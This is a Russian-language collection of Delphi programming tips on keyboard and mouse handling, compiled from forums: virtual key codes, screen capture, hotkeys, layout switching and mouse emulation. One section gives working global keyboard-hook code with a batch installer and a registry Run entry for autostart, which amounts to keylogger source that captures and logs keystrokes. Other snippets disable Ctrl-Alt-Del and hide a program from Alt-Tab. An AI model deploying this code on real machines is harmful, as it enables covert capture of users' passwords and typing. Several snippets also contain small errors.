VK_NUMPAD2 | 62 | Numeric keypad 2 key
VK_NUMPAD3 | 63 | Numeric keypad 3 key
VK_NUMPAD4 | 64 | Numeric keypad 4 key
VK_NUMPAD5 | 65 | Numeric keypad 5 key
VK_NUMPAD6 | 66 | Numeric keypad 6 key
VK_NUMPAD7 | 67 | Numeric keypad 7 key
VK_NUMPAD8 | 68 | Numeric keypad 8 key
VK_NUMPAD9 | 69 | Numeric keypad 9 key
VK_SEPARATOR | 6C | Separator key
VK_SUBTRACT | 6D | Subtract key
VK_DECIMAL | 6E | Decimal key
VK_DIVIDE | 6F | Divide key
VK_F1 | 70 | F1 key
VK_F2 | 71 | F2 key
VK_F3 | 72 | F3 key
VK_F4 | 73 | F4 key
VK_F5 | 74 | F5 key
VK_F6 | 75 | F6 key
VK_F7 | 76 | F7 key
VK_F8 | 77 | F8 key
VK_F9 | 78 | F9 key
VK_F10 | 79 | F10 key
VK_F11 | 7A | F11 key
VK_F12 | 7B | F12 key
VK_F13 | 7C | F13 key
VK_F14 | 7D | F14 key
VK_F15 | 7E | F15 key
VK_F16 | 7F | F16 key
VK_F17 | 80H | F17 key
VK_F18 | 81H | F18 key
VK_F19 | 82H | F19 key
VK_F20 | 83H | F20 key
VK_F21 | 84H | F21 key
VK_F22 | 85H | F22 key
VK_F23 | 86H | F23 key
VK_F24 | 87H | F24 key
VK_NUMLOCK | 90 | NUM LOCK key
VK_SCROLL | 91 | SCROLL LOCK key
VK_LSHIFT | A0 | Left SHIFT key
VK_RSHIFT | A1 | Right SHIFT key
VK_LCONTROL | A2 | Left CONTROL key
VK_RCONTROL | A3 | Right CONTROL key
VK_LMENU | A4 | Left MENU key
VK_RMENU | A5 | Right MENU key
VK_PLAY | FA | Play key
VK_ZOOM | FB | Zoom key

Взято из http://forum.sources.ru


Программно нажимаем Print Screen

Автор: Simon Carter
Совместимость: Delphi 3.x (или выше)
Приведённая здесь функция делает копию изображения экрана и сохраняет её в буфере обмена (Clipboard). Так же необходимо включить в Ваш проект файл ClipBrd.pas.

procedure SendScreenImageToClipboard;
var
  bmp: TBitmap;
begin
bmp := TBitmap.Create;
try
bmp.Width := Screen.Width;
bmp.Height := Screen.Height;
BitBlt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,
GetDC(GetDesktopWindow), 0, 0, SRCCopy);
Clipboard.Assign(bmp);
finally
bmp.Free;
end;
end;

Следующая функция скопирует изображение экрана в в bitmap. Переменная bitmap *должна* быть инициализирована до вызова этой функции.

procedure GetScreenImage(bmp: TBitmap);
begin
bmp.Width := Screen.Width;
bmp.Height := Screen.Height;
BitBlt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,
GetDC(GetDesktopWindow), 0, 0, SRCCopy);
end;

Взято из http://forum.sources.ru


Как заставить кнопку Enter работать наподобие Tab?

Автор: Khaled Shagrouni

Как-то бухгалтер, который пользовался моей программой, заявил, что ему не удобно перескакивать пустые поля в форме кнопкой Tab, и что намного удобнее это делать обычным Enter-ом. Предлагаю посмотреть, как я решил эту проблемму.

Совместимость: Все версии Delphi

Пример обработчика события:

procedure Tform1.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var
  ACtrl: TWinControl;
begin
  if key = 13 then
    begin
      ACtrl := ActiveControl;
      if ACtrl is TCustomMemo then exit;
      repeat
        ACtrl:= FindNextControl(ACtrl,true,true,false);
      until (ACtrl is TCustomEdit) or
      (ACtrl is TCustomComboBox) or
      (ACtrl is TCustomListBox) or
      (ACtrl is TCustomCheckBox) or
      (ACtrl is TRadioButton);
      ACtrl.SetFocus ;
    end;
end;

Не забудьте установить свойство формы KeyPreview в true.

Как Вы можете видеть; этот код использует функцию FindNextControl, которая ищет следующий свободный контрол.

так как все формы в моём приложении наследуются от одной, то достаточно поместить этот код в главную форму и после этого все формы будут реагировать на нажатие Enter подобным образом.

Взято из http://forum.sources.ru

Существует множество методов решения этой проблемы, но самый быстрый способ, это перехват нажатия клавиш, перед тем как их получит форма:

В секции формы PRIVATE добавьте:

Procedure CMDialogKey(Var Msg:TWMKey); message CM_DIALOGKEY;

В секции IMPLEMENTATION добавьте:

Procedure TForm1.CMDialogKey(Var Msg: TWMKey);
Begin
If NOT (ActiveControl Is TButton) Then
If Msg.Charcode = 13 Then
Msg.Charcode := 9;
inherited;
End;

Тем самым мы исключаем срабатывания нашей подмены, если фокус находится на кнопке.

Чтобы ускорить работу приложения, не надо активизировать свойство формы KEYPREVIEW

Взято из http://forum.sources.ru


Как програмно переключить раскладку клавиатуры?

procedure TForm1.Button1Click(Sender: TObject);//На русский
var
Layout: array[0.. KL_NAMELENGTH] of char;
begin
LoadKeyboardLayout( StrCopy(Layout,'00000419'),KLF_ACTIVATE);
end;

procedure TForm1.Button2Click(Sender: TObject);//На английский
var
Layout: array[0.. KL_NAMELENGTH] of char;
begin
LoadKeyboardLayout(StrCopy(Layout,'00000409'),KLF_ACTIVATE);
end;

Взято из http://forum.sources.ru


Как запретить Ctrl-Alt-Del?

var
  i : integer;
begin
i := 0;
{запрещаем Ctrl-Alt-Del}
SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
end.
// необходим unit WinProcs
// для Alt-Tab: SPI_SETFASTTASKSWITCH

Взято из http://forum.sources.ru


Как скрыть программу от Alt - Tab

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowWindow(Handle, SW_HIDE);
  ShowWindow(Application.Handle, SW_HIDE);
end;

Автор: Song

Взято из http://forum.sources.ru

with Application do
  begin
    ShowWindow(Handle, SW_HIDE);
    SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW);
  end; {With}
SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW);

Автор: Stavros
Взято из http://forum.sources.ru


Как отловить правый Enter (NumPad)?

Автор: Full ( http://full.hotmail.ru/ )
Для этого можно воспользоваться функцией GetHeapStatus:

procedure TForm1.WMKeyDown(var Message: TWMKeyDown);
begin
  inherited;
  case Message.CharCode of
    VK_RETURN:
      begin // ENTER pressed
        if (Message.KeyData and $1000000 <> 0) then
          begin
                  { ENTER on numeric keypad }
          end
        else
          begin
                  { ENTER on the standard keyboard }
          end;
      end;
  end;
end;

Взято из http://forum.sources.ru


Как заставить дополнительную клавиатуру всегда работать в режиме цифр?

Для этого необходимо написать процедуру-обработчик для Application.OnMessage:

procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.OnMessage := AppOnMessage;
end;

procedure TForm1.AppOnMessage(var Msg: TMsg; var Handled: Boolean);
var  ccode: Word;
begin
  case Msg.Message of
    WM_KEYDOWN, WM_KEYUP:
    begin
      If (GetKeyState( VK_NUMLOCK ) >= 0)  //NumLock не включён
          and ((Msg.lparam and  $1000000) = 0)
      then
      begin
        ccode := 0;
        case Msg.wparam of
          VK_HOME:  ccode := VK_NUMPAD7;
          VK_UP  :  ccode := VK_NUMPAD8;
          VK_PRIOR: ccode := VK_NUMPAD9;
          VK_LEFT:  ccode := VK_NUMPAD4;
          VK_CLEAR: ccode := VK_NUMPAD5;
          VK_RIGHT: ccode := VK_NUMPAD6;
          VK_END  : ccode := VK_NUMPAD1;
          VK_DOWN : ccode := VK_NUMPAD2;
          VK_NEXT : ccode := VK_NUMPAD3;
          VK_INSERT:ccode := VK_NUMPAD0;
          VK_DELETE:ccode := VK_DECIMAL;
        end;
        If ccode <> 0 then Msg.Wparam := ccode;
      end;
    end;
  end;
end;

Взято из http://forum.sources.ru


Как отловить изменение раскладки клавиатуры?

Автор: InSAn

Нужно ловить сообщение WM_INPUTLANGCHANGEREQUEST

Взято из http://forum.sources.ru


Как перехватить нажатия функциональных клавиш и стрелок?

Автор: Arx ( http://arxoft.tora.ru )

Проверяйте значение переменной key на равенство VK_RIGHT, VK_LEFT, VK_F1 и т.д. на событии KeyDown формы

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
  if Key = VK_RIGHT then
    Form1.Caption := 'Right';
  if Key = VK_F1 then
    Form1.Caption := 'F1';
end;

Взято из http://forum.sources.ru


Как програмно переключить состояние клавиш Num Lock, Caps Lock, Scroll Lock?

VAR
  KS: TKeyboardState;
begin
GetKeyboardState(KS);
KS[020] := KS[020] XOR 1; //Caps Lock
KS[144] := KS[144] XOR 1; //Num Lock
KS[145] := KS[145] XOR 1; //Scroll Lock
SetKeyboardState(KS);
end;

Взято из http://forum.sources.ru

Во-первых, предложенный способ работает только под 9x (лично проверил)...
Во-вторых, для понятности лучше вместо цифр подставить нормальные константы...
В-третьих, тут еще способ и для NT...

Способ для 9x (на NT не работает):

var
 KeyState : TKeyboardState;
begin
 GetKeyboardState(KeyState);
 KeyState[VK_SCROLL] := KeyState[VK_SCROLL] xor 1;
 KeyState[VK_CAPITAL] := KeyState[VK_CAPITAL] xor 1;
 KeyState[VK_NUMLOCK] := KeyState[VK_NUMLOCK] xor 1;
 SetKeyboardState (KeyState);
end;

Способ для NT (на 9x не работает):
begin
  keybd_event (VK_SCROLL, 0, KEYEVENTF_EXTENDEDKEY, 0);
  keybd_event (VK_SCROLL, 0, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP, 0);

  keybd_event (VK_CAPITAL, 0, KEYEVENTF_EXTENDEDKEY, 0);
  keybd_event (VK_CAPITAL, 0, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP, 0);

  keybd_event (VK_NUMLOCK, 0, KEYEVENTF_EXTENDEDKEY, 0);
  keybd_event (VK_NUMLOCK, 0, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP, 0);
end;

т.е. в программе надо будет сделать проверку на версию Windows,
и потом уже вызывать одну из этих функций,
либо же можно их обе вызывать - одна да сработает...

Автор: p0s0l


Левый SHIFT+ENTER/Правый SHIFT+ENTER

procedure TDecEditForm.Memo1KeyPress(Sender: TObject; var Key: Char);
VAR s:String;  RL:Byte;
begin
IF key=CHR(VK_RETURN) Then
  Begin
    //WIN NT/2000
    If (GetVersion() and $80000000)=0 then
      BEGIN
        IF ((Word(GetKeyState(VK_LSHIFT)) and $8000)<>0)  Then
          Begin
          End;
    IF ((Word(GetKeyState(VK_RSHIFT)) and $8000)<>0)  Then
      Begin
      End;
  End
ELSE
  //WIN 9.x
  Begin
    asm
      mov ah,2
      int $16
      mov RL,al
    end;
    if 1 = (RL and 1) then  //  ПРАВЫЙ SHIFT НАЖАТ+ENTER
      Begin
      End;
    if 2 = (RL and 2) then  //  ЛЕВЫЙ SHIFT НАЖАТ+ENTER
      Begin
      End;
  End;
//WIN 9.x
END;
End;

Автор ответа: CHERRY
Взято с Vingrad.ru http://forum.vingrad.ru


Получение типа клавиатуры

function GettingKeybType: string;  //Win95 or later and NT3.1 or later
var
  Flag:   integer;
begin
  Flag:=0;
  Case GetKeyboardType(Flag) of
    1:  Result:='IBM PC/XT or compatible (83-key) keyboard';
    2:  Result:='Olivetti "ICO" (102-key) keyboard';
    3:  Result:='IBM PC/AT (84-key) or similar keyboard';
    4:  Result:='IBM enhanced (101- or 102-key) keyboard';
    5:  Result:='Nokia 1050 and similar keyboards';
    6:  Result:='Nokia 9140 and similar keyboards';
    7:  Result:='Japanese keyboard';
  end;
end;


Как очистить буффер клавиатуры?

procedure EmptyKeyQueue;
var
  msg: TMsg;
begin
  while PeekMessage(msg, 0, WM_KEYFIRST, WM_KEYLAST, PM_REMOVE or PM_NOYIELD) do
    ;
end;

begin
  EmptyKeyQueue;
end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Состояние кнопки insert

function InsertOn: Boolean;
begin
  Result:=LowOrderBitSet(GetKeyState(VK_INSERT));
end;

Источник: http://dmitry9.nm.ru/info/

Исправлено by Vit


Выставляем горячие клавиши для Delphi приложения

Как сделать так, чтобы при минимизации приложения в Tray его можно было вызвать определённой комбинацией клавиш, например Alt-Shift-F9 ?

//В обработчике события OnCreate
//основной формы создаём горячую клавишу:

If not RegisterHotkey
   (Handle, 1, MOD_ALT or MOD_SHIFT, VK_F9) Then
    ShowMessage('Unable to assign Alt-Shift-F9 as hotkey.');

//В событии OnClose удаляем горячую клавишу:

  UnRegisterHotkey( Handle, 1 );

//Добавляем обработчик в форму для сообщения
//WM_HOTKEY:

  private // в секции объявлений формы
    Procedure WMHotkey( Var msg: TWMHotkey );
      message WM_HOTKEY;

Procedure TForm1.WMHotkey( Var msg: TWMHotkey );
  Begin
    If msg.hotkey = 1 Then Begin
      If IsIconic( Application.Handle ) Then
        Application.Restore;
      BringToFront;
    End;
  End;

Взято с Vingrad.ru http://forum.vingrad.ru


Если нажато более 2х клавиш одновременно...

{
  I would like to detect more than 2 keys being pressed within a form.
  For example I would like to know if the user pressed    time. The onkeydown seems to only check for one or two keys max but surely
  you can determine what keys are currently down.
}

// You can use GetKeyState:

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  If ((GetKeyState(VK_CONTROL) AND 128)=128) and
     ((GetKeyState(VK_F5)      AND 128)=128) and
     ((GetKeyState(ord('8'))   AND 128)=128)
    then
      ShowMessage('CTRL+F5+8 Pressed');
end;

( Remember: Form1.Keypreview := TRUE )

// Or you can read the entire KeyBoard Status,
// and later check for the three keys:

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var
   KeybState: TKeyboardState;
begin
  GetKeyboardState(Teclado);
  If ( (KeybState[VK_CONTROL] and 128)=128 ) and
     ( (KeybState[VK_F5]      and 128)=128 ) and
     ( (KeybState[Ord('8')]   and 128)=128 )
    then
      ShowMessage('CTRL+F5+8 Pressed');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как отловить нажатия клавиш для всех процессов в системе

· Setup.bat

@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg

· HookAgnt.reg

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"

· KbdHook.dpr

program cwbhook;

uses
  Windows, Dialogs;

var
  hinstDLL: HINST;
  hkprcKeyboard: TFNHookProc;
  msg: TMsg;

begin
  hinstDLL := LoadLibrary('HookAgnt.dll');
  hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
  SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
  repeat
  until
    not GetMessage(msg, 0, 0, 0);
end.

HookAgnt.dpr

library HookAgent;

uses
  Windows, KeyboardHook in 'KeyboardHook.pas';

exports
  KeyboardProc;

var
  hFileMappingObject: THandle;
  fInit: Boolean;

{----------------------------\
| |
| DLL_PROCESS_DETACH |
| |
\----------------------------}

procedure DLLMain(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
  begin
    UnmapViewOfFile(lpvMem);
    CloseHandle(hFileMappingObject);
  end;
end;

{----------------------------\
| |
| DLL_PROCESS_ATTACH |
| |
\----------------------------}

begin
  DLLProc := @DLLMain;

  hFileMappingObject := CreateFileMapping(
  THandle($FFFFFFFF), // use paging file
  nil, // no security attributes
  PAGE_READWRITE, // read/write access
  0, // size: high 32 bits
  4096, // size: low 32 bits
  'HookAgentShareMem' // name of map object
  );

  if hFileMappingObject = INVALID_HANDLE_VALUE then
  begin
    ExitCode := 1;
    Exit;
  end;

  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

  lpvMem := MapViewOfFile(
  hFileMappingObject, // object to map view of
  FILE_MAP_WRITE, // read/write access
  0, // high offset: map from
  0, // low offset: beginning
  0 // default: map entire file
  );

  if lpvMem = nil then
  begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;

  if fInit then
    FillChar(lpvMem, PASSWORDSIZE, #0);

end.

KeyboardHook.pas

unit KeyboardHook;

interface

uses
  Windows;

const
  PASSWORDSIZE = 16;

var
  g_hhk: HHOOK;
  g_szKeyword: array[0..PASSWORDSIZE-1] of char;
  lpvMem: Pointer;

  function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT; stdcall;

implementation

uses
  SysUtils, Dialogs;

  function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT;

var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;

begin
  lpszPassword := PChar(lpvMem);

  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

    if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
      lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

    lstrcat(g_szKeyword, szKeyName);

    GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and
    (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
      lstrcat(lpszPassword, szKeyName);

    if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
    begin
      ShowMessage(lpszPassword);
      g_szKeyword[0] := #0;
    end;

    Result := 0;
  end
  else
    Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;

end.

library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
    KeyArray: array[0..19] of char;
    KeyArrayPtr: integer;
    CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
  if code< 0 then
   begin
     result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
     Exit;
   end;
  if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
    begin
      KeyArray[KeyArrayPtr]:=char(wParam);
      KeyArrayPtr:=KeyArrayPtr+1;
      if KeyArrayPtr> 19 then
       begin
        for i:=0 to 19 do
        begin
          Assignfile(CurFile,'d:\log.txt');
          if fileexists('d:\log.txt')=false then rewrite(CurFile)
          else Append(CurFile);
          write(Curfile, KeyArray[i]);
          closefile(curfile);
        end;
        KeyArrayPtr:=0;
       end;
    end;
    CallNextHookEx(CurrentHook,code,wParam,lparam);
    result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
  CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
  KeyArrayptr:=0;
end;
procedure unhook;
begin
  UnhookWindowshookEx(CurrentHook);
end;

exports
 SetupGlobalKeyBoardHook, UnHook;
begin
end.

Взято с http://delphiworld.narod.ru


ASCII код для PrintScreen

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    procedure AppIdle(Sender: TObject; var Done: Boolean);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.AppIdle(Sender: TObject; var Done: Boolean);
begin
if GetAsyncKeyState(VK_SNAPSHOT) <> 0 then
    Form1.Caption := 'PrintScreen ia?aoa !';
  Done := True;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnIdle := AppIdle;
end;
end.

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
    procedure WMHotKey(var Msg : TWMHotKey); message WM_HOTKEY;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

const id_SnapShot = 101;

procedure TForm1.WMHotKey (var Msg : TWMHotKey);
begin
  if Msg.HotKey = id_SnapShot then
    ShowMessage('GotIt');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  RegisterHotKey(Form1.Handle,
                 id_SnapShot,
                 0,
                 VK_SNAPSHOT);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnRegisterHotKey (Form1.Handle, id_SnapShot);
end;

Взято из http://forum.sources.ru


Мышка

Cодержание раздела:

Как послать нажатие кнопки мыши в окно?
Функции и процедуры управления мышью New!
Как определить координаты курсора мыши?
Как имитировать нажатие левой кнопки мыши?
Как узнать, присутствует ли мышка?
Как использовать mouse_event() для эмулирования событий мышки?
Как поменять функции кнопок мышки?
Как ограничить движения мышки определённой областью?
Как узнать, находится ли мышка на форме?
Как программно двигать курсор мышки?
Как автоматически помещать курсор мышки в центр контрола получившего фокус?
Перемещение контролов мышкой во время выполнения приложения?
Как заставить появиться окошко подсказки когда курсор мышки находится над определённым контролом?
Как отследить выход мыши за пределы формы?
Как узнать есть ли у мыши колесико?
Имитировать события мыши New!
Как прочитать и изменить doubleclick time? New!
функции для изменения и получения чуствительности мышки New!

См. также статьи в других разделах:
Как узнать, находится ли мышка на форме?
Как поместить курсор мышки в нужное место на форме?
Как мне узнать о воздействии мыши на иконку, находящуюся на Tray?
Использование ловушек, блокировка мышки, клавиатуры и т.д.


Функции и процедуры управления мышью

Функция FindVCLWindow( const Pos: TPoint ): TWinControl;
Функция возвращает оконное средство управления для местоположения, определенного параметром Pos. Если для данного местоположения нет оконных средств управления, то функция возвращает nil.

Функция GetCaptureControl: TControl;
Функция возвращает средство управления класса TControl, которое получает в текущий момент все сообщения от мыши.

Функция SetCaptureControl( Control: TControl );

Функция передает управление мышью средству управления, определенному в параметре Control. Данное средство управления будет получать все сообщения от мыши, пока управление мышью не будет передано другому средству управления с помощью функции SetCaptureControl или функцией ReleaseCapture Windows API.
Взято с http://atrussk.ru/delphi/


Как послать нажатие кнопки мыши в окно?

WM_LBUTTONDOWN
WM_RBUTTONDOWN
Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru

Я решил проверить точку нажатия мышки таким вот образом:
...
SetForegroundWindow(WindowUO);
mouse_event(MOUSEEVENTF_MOVE,400,400,0,0);
...
и получилось, что мышка перемещалась не в те координаты(относительно разрешения монитора (800 на 600)) которые я задумал(в не зависимости от местоположения мышки она перемещалась строго по одному направлению на одинаковое расстояние), причем я сделал еще один вариант - dx=100, dy=100, но тогда перемещение мышки произошло в другую сторону(в сторону x=0 y=0 монитора)!
Подскажите плз в чем дело?
Автор ответа: Spawn
Взято с Vingrad.ru http://forum.vingrad.ru

Mouse_event программирует не абсолюьные, а относительные координаты.
Чтобы не думалось, просто сначала установите курсор в нужную позицию - SetCursorPos(), а потом делайте клик - Mouse_event()
Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru


Как определить координаты курсора мыши?

GetCursorPos()

Автор Spawn
Взято с Vingrad.ru http://forum.vingrad.ru

Обрабатывай событие OnMouseMove. Координаты курсора можно получить следующим путем:

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
   if (X >= 40 or X <= 234) and (Y >= 60 or Y <=258) then {здесь запуск твоей функции};
end;

Автор: Pegas

Взято с Vingrad.ru http://forum.vingrad.ru

  mouse.CursorPos.x
  mouse.CursorPos.y

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Для этого можно воспользоваться API функцией GetCursorPos. Передав в эту функцию TPoint, мы получим текущие координаты курсора. Следующий код показывает, как получить значения координат курсора по нажатию кнопки.

procedure Form1.Button1Click(Sender: TObject);
var
  foo: TPoint;
begin
  GetCursorPos(foo)
  ShowMessage( '(' + IntToStr(foo.X) + ' ,' + IntToStr( foo.Y ) + ')' );
end;

Взято из http://forum.sources.ru


Как имитировать нажатие левой кнопки мыши?

mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
Application.ProcessMessages;
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

Автор ответа: Song, Spawn
Взято с Vingrad.ru http://forum.vingrad.ru


Как узнать, присутствует ли мышка?

function MousePresent : Boolean;
begin
if GetSystemMetrics(SM_MOUSEPRESENT) <> 0 then
  Result := true
else
  Result := false;
end;

Взято из http://forum.sources.ru


Как использовать mouse_event() для эмулирования событий мышки?

Следующий пример демонстрирует использование API функции mouse_event() для эмуляции событий мышки. Когда Button2 нажата, то мышь перемещается на Button1 и щёлкает по ней. Координаты мыши даны в "Mickeys", где 65535 соответствует ширине экрана.

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage('Button 1 clicked');
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  Pt : TPoint;
begin
{Allow Button2 to repaint it's self}
  Application.ProcessMessages;
{Получаем координаты центра button 1}
  Pt.x := Button1.Left + (Button1.Width div 2);
  Pt.y := Button1.Top + (Button1.Height div 2);
{Преобразуем Pt в координаты экрана}
  Pt := ClientToScreen(Pt);
{Преобразуем Pt в mickeys}
  Pt.x := Round(Pt.x * (65535 / Screen.Width));
  Pt.y := Round(Pt.y * (65535 / Screen.Height));
{Перемещаем мышку}
  Mouse_Event(MOUSEEVENTF_ABSOLUTE or
              MOUSEEVENTF_MOVE,
              Pt.x,
              Pt.y,
              0,
              0);
{Эмулируем нажатие левой кнопки мыши}
  Mouse_Event(MOUSEEVENTF_ABSOLUTE or
              MOUSEEVENTF_LEFTDOWN,
              Pt.x,
              Pt.y,
              0,
              0);;
{Эмулируем отпускание левой кнопки мыши}
  Mouse_Event(MOUSEEVENTF_ABSOLUTE or
              MOUSEEVENTF_LEFTUP,
              Pt.x,
              Pt.y,
              0,
              0);;
end;

Взято из http://forum.sources.ru


Как поменять функции кнопок мышки?

Begin
//---------
SwapMouseButton(true); // Поменять обратно - SwapMouseButton(false);
//---------
end;

Взято из http://forum.sources.ru


Как ограничить движения мышки определённой областью?

Для этого можно воспользоваться API функцией ClipCursor(). Например, можно вставить следующий код в обработчик события формы OnMouseDown:
ClipCursor(&BoundsRect);

а следующий код в обработчик события формы OnMouseUp:
ClipCursor(NULL);

Если нажать кнопку мыши на форме и удерживать её, то курсор мышки не сможет покинуть пределы формы.

Взято из http://forum.sources.ru


Как узнать, находится ли мышка на форме?

Для этого можно воспользоваться API функцией GetCapture().

Пример:

procedure TForm1.FormDeactivate(Sender: TObject);
begin
  ReleaseCapture;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  If GetCapture = 0 then
    SetCapture(Form1.Handle);
  if PtInRect(Rect(Form1.Left,
                   Form1.Top,
                   Form1.Left + Form1.Width,
                   Form1.Top + Form1.Height),
                   ClientToScreen(Point(x, y))) then
  Form1.Caption := 'Мышка на форме' else
  Form1.Caption := 'Мышка за пределами формы';
end;

Взято из http://forum.sources.ru


Как программно двигать курсор мышки?

Следующий пример показывает, как "подтолкнуть мышку" без вмешательства пользователя.

procedure TForm1.Button1Click(Sender: TObject);
var
  pt : TPoint;
begin
   Application.ProcessMessages;
   Screen.Cursor := CrHourglass;
   GetCursorPos(pt);
   SetCursorPos(pt.x + 1, pt.y + 1);
   Application.ProcessMessages;
   SetCursorPos(pt.x - 1, pt.y - 1);
end;

Взято из http://forum.sources.ru


Как автоматически помещать курсор мышки в центр контрола получившего фокус?

Нам потребуется универсальная функция, которую можно будет применять для различных визуальных контролов.

Вот пример вызова нашей функции:

procedure TForm1.Button1Enter(Sender: TObject);
begin
  MoveMouseOverControl(Sender);
end;

Сама функция:

procedure MoveMouseOverControl(Sender: TObject);
var x,y: integer;
    point: TPoint;
begin
  with TControl(Sender) do
  begin
    x:= left + (width div 2);
    y:= top + (height div 2);
    point:= Parent.ClientToScreen(point);
    SetCursorPos(point.x, point.y);
  end;
end;

Взято из http://forum.sources.ru


Перемещение контролов мышкой во время выполнения приложения?

Для этого необходимо перехватить событие OnMouseDown, запомнив координаты x и y и захватить мышку. После этого можно будет отслеживать движение мышки при помощи события OnMouseMove, перемещая контрол пока срабатывает событие OnMouseUp. Затем надо поместить контрол на своё окончательное место и снять захват мышки.

Следующий пример показывает как мышкой двигать компонент TButton по форме.

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure Button1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure Button1MouseUp(Sender: TObject; Button:
      TMouseButton; Shift: TShiftState; X, Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
    MouseDownSpot : TPoint;
    Capturing : bool;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
  if ssCtrl in Shift then begin
    SetCapture(Button1.Handle);
    Capturing := true;
    MouseDownSpot.X := x;
    MouseDownSpot.Y := Y;
  end;
end;

procedure TForm1.Button1MouseMove(Sender: TObject;
Shift: TShiftState; X,  Y: Integer);
begin
  if Capturing then begin
    Button1.Left := Button1.Left - (MouseDownSpot.x - x);
    Button1.Top := Button1.Top - (MouseDownSpot.y - y);
  end;
end;

procedure TForm1.Button1MouseUp(Sender: TObject; Button:
    TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
  if Capturing then begin
    ReleaseCapture;
    Capturing := false;
    Button1.Left := Button1.Left - (MouseDownSpot.x - x);
    Button1.Top := Button1.Top - (MouseDownSpot.y - y);
  end;
end;

Взято из http://forum.sources.ru


Как отследить выход мыши за пределы формы?

Можно через события OnMouseEnter/OnMouseLeave:

TYourObject = class(TAnyControl)
...
private
FMouseInPos : Boolean;
procedure CMMouseEnter(var AMsg: TMessage); message CM_MOUSEENTER;
procedure CMMouseLeave(var AMsg: TMessage); message CM_MOUSELEAVE;
...
end;

implementation

procedure TYourObject.CMMouseEnter(var AMsg: TMessage);
begin
FMouseInPos := True;
Refresh;
end;

